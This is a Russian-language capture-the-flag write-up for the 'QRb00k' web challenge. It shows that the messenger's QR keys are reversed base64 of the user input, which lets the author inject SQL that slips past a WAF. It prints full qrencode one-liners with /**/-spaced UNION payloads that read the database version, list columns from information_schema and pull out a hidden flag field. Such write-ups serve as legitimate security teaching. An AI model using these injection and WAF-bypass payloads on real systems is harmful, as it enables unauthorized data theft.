Skip to content

Latest commit

 

History

History

QRb00k

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

H4CK1T CTF :: QRb00k :: Web (400)

Условие задачи следующее:

RU: В России было разработан защищенный мессенджер, для общения используется система с qr ключами, что позволяет читать чужие сообщения только владельцам данного ключа. Но как так ли это на самом деле ? Вам и предстоит это выяснить...

task

Задание из категории Web, соответсвенно необходимо проанализировать данный сайт, найти и заэксплуатировать уязвимость чтобы вытащить флаг.

1

Ну соответсвенно для начала необходимо понять что из себя представляет данный мессенджер, попробуем создать сообщение от пользователя blablabla.

2

В результате мы получаем QR Code с помощью которого можно будет прочитать наше оставленное сообщение.

3

Попробуем теперь его прочитать с помощью полученного ключа

4

Как видно ниже в результате мы видим оставленно ранее сообщение hacktheplanet, все работает как задумано, осталось найти уязвимость чтобы вытащить заветный флаг.

5

Итак, первое что приходит на ум это SQL Injection :), давайте попробуем повтыкать апострофы и кавычки при создании сообщения ;)

6

Но не тут то было, сработал WAF, ' и " не работают, детектит зараза :)

7

Перепробовал еще несколько вариантов в том числе зааплоадить php скрипт, но и это тоже задетектил. OK, тогда возвращаемся к нашему QR коду, попробуем разобраться какой именно ключ он генерит... Прочитаем содержимое QR кода

8

Получили текст hxmYhxmYhxmY который очень похож на base64 но при декодинге получается белиберда... но повторяющийся 3 раза паттерн как бы намекает на наше blablabla :) попробуем заенкодить его в base64

bash-3.2$ echo -n "blablabla" | base64
YmxhYmxhYmxh

Ок, это наш QR код но в обратном порядке :) Отлично, теперь мы можем сами сгенерить любой QR код который захотим, пример команды: echo -n "blablabla" | base64 | rev | qrencode -o payload.png -t PNG

Теперь давайте попробуем повтыкать кавычки туда :) echo -n "blablabla'" | base64 | rev | qrencode -o payload.png -t PNG

9

Ураааа, в этот раз WAF этого не заметил, но он по прежнему ругается еще и на пробел и --, но это мы попробуем обойти с помощью /**/ и #. Следующим шагом нам надо убедиться что это реально SQL Injection и все работает так как мы думаем :) Попробуем починить запрос чтобы он выдал все сообщения echo -n "blablabla' or '1'='1" | base64 | rev | qrencode -o payload.png -t PNG

10

Ха, nothig interesting это не наш текст, но уже хороший знак ) возможно наш будет в следующей строке, давайте проверим echo -n "blablabla'/**/or/**/'1'='1'/**/LIMIT/**/1,1/**/#" | base64 | rev | qrencode -o payload.png -t PNG

11

Бинго! SQLi работает, теперь можем попробывать вывести информацию через UNION, к примеру версию СУБД echo -n "blablabla'/**/UNION/**/SELECT/**/@@version/**/LIMIT/**/1,1/**/#" | base64 | rev | qrencode -o payload.png -t PNG

12

Супер, все работает. Далее я попытался найти другие таблицы в текущей БД, ничего не было кроме текущей messages, чтож давайте поищем все столбцы в этой таблице... echo -n "blablabla'/**/UNION/**/SELECT/**/column_name/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/=/**/'messages'/**/LIMIT/**/4,1/**/#" | base64 | rev | qrencode -o payload.png -t PNG

13

Кажется мы нашли то что искали... secret_field я думаю стоит там поискать наш флаг ;) echo -n "blablabla'/**/UNION/**/SELECT/**/secret_field/**/FROM/**/messages/**/LIMIT/**/1,1/**/#" | base64 | rev | qrencode -o payload.png -t PNG

14

\o/ Ура! Долгожданный флаг в кармане, и +400 очков команде b1n4ry4rms

Автор: fuzzyf10w